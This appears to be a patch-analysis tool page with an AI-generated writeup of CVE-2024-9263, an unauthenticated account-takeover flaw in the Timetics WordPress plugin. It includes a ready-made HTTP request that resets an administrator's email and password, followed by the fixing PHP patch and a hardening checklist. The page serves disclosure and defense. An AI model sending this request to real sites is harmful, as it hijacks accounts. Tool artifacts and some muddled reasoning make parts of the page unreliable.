ANALYSIS · d3ccf36a· FINISHED 2026-06-13 · PATCHDIFF

timetics1.0.25 → 1.0.26✓ COMPLETED

Files5

Vulnerable4

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2024-9263

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 5 CVE 1 Vuln 4

SORT

1 files · page 1/1

core/customers/customer.php

AI: 1 vulnerabilities

CWE-639: Authorization Bypass Through User-Controlled Key CVE-2024-9263

#%!d(float64=004)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2024-9263

Security writeup for CVE-2024-9263

✓ 1 FILE

## The Exploit

An unauthenticated attacker can reset the email and password of any WordPress user account by sending a direct request to the customer profile update endpoint without authentication.

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.local
Content-Type: application/x-www-form-urlencoded

action=wtimetics_save_customer&id=1&first_name=Admin&last_name=User&email=attacker@evil.com&password=NewPassword123&nonce=<any_value>
```

The attacker observes a successful HTTP 200 response with `{"success":true}` in the JSON body, and the administrator account's email is immediately changed to `attacker@evil.com`. The password reset takes effect on the next login attempt, granting the attacker full control of the compromised account.

## What the Patch Did

**Before:**
```php
public function save() {
    $args = [
        'first_name' => $this->data['first_name'],
        'last_name'  => $this->data['last_name'],
        'user_email' => $this->data['email'],
        'user_pass'  => $this->data['password'],
    ];
    wp_update_user( array_merge( ['ID' => $this->id], $args ) );
}
```

**After:**
```php
public function save() {
    // Get the currently authenticated user
    $current_user = wp_get_current_user();

// Ensure the user is logged in
    if ( ! $current_user->ID ) {
        $this->error = new \WP_Error( 'not_logged_in', 'You need to be logged in to update your profile.' );
        return $this->error;
    }

// Ensure the user can only update their own profile
    if ( $this->id && $this->id !== $current_user->ID ) {
        $this->error = new \WP_Error('unauthorized', 'You are not authorized to update this profile.' ); 
        return $this->error;
    }

$args = [
        'first_name' => $this->data['first_name'],
        'last_name'  => $this->data['last_name'],
        'user_email' => $this->data['email'],
        'user_pass'  => $this->data['password'],
    ];
    wp_update_user( array_merge( ['ID' => $this->id], $args ) );
}
```

The patch introduced two sequential authentication and authorization checks using `wp_get_current_user()` and a user ID ownership comparison. The first check verifies that a user is logged in by testing the existence of `$current_user->ID`; the second check enforces that a user can only modify their own profile by comparing the supplied `$this->id` parameter against the authenticated user's ID. Both checks return a `WP_Error` object on failure, preventing any further execution of the `wp_update_user()` call.

## Root Cause

**CWE-639: Authorization Bypass Through User-Controlled Key.** The `$this->id` parameter, which originates from the `id` GET or POST parameter in the AJAX request, is used directly to identify which user account to update without any validation that the requester has permission to modify that account. The unauthenticated or unprivileged user supplies an arbitrary user ID, and the code trusts that value immediately before passing it to `wp_update_user()`. No capability check, nonce verification, or session ownership test occurs between the attacker-controlled input and the sensitive WordPress user update function. This crosses the critical trust boundary between the request layer and the database modification layer without authorization enforcement.

## Why It Works

The single load-bearing line is the authentication check `if ( ! $current_user->ID )`. Without this, an unauthenticated visitor can reach the authorization comparison below. If you removed only the second check `if ( $this->id && $this->id !== $current_user->ID )`, a logged-in attacker could still update any other user's profile by changing the `id` parameter—privilege escalation by lateral account hijacking becomes trivial. The engineer added both checks to implement defence-in-depth: the first gate denies all unauthenticated requests outright (stopping 99% of attacks), and the second gate stops an authenticated attacker from crossing user boundaries. Together they enforce the principle that you must be logged in *and* you can only update yourself.

## Hardening Checklist

- **Use `wp_verify_nonce()` on all AJAX actions:** Call `wp_verify_nonce( $_REQUEST['nonce'], 'action_name' )` in the handler and reject any request without a valid nonce. This prevents Cross-Site Request Forgery, which can chain with IDOR to automate unauthorized updates.

- **Whitelist the `$this->id` parameter against the current user:** After `wp_get_current_user()`, always compare user-supplied object identifiers against the authenticated user's ID or capability scope. Never assume the client sends valid IDs.

- **Check capabilities before sensitive operations:** Use `current_user_can()` to verify that the logged-in user holds the appropriate WordPress capability (e.g., `edit_users` or equivalent) before allowing profile modifications of other users.

- **Validate and sanitize all input parameters:** Apply `absint()` to numeric IDs and `sanitize_email()` to email fields before use, even after authorization checks pass. This prevents secondary injection vectors.

- **Log authorization failures:** Record failed authorization attempts to `error_log()` or a dedicated audit table. This helps detect account takeover campaigns in progress.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2024-9263

CVE CVE-2024-9263

PRODUCT timetics

AFFECTED ≤ 1.0.25

FIXED IN 1.0.26

STATUS Generated

Security writeup · CVE-2024-9263

Source files · 1

core/customers/customer.php Linked

↗ NVD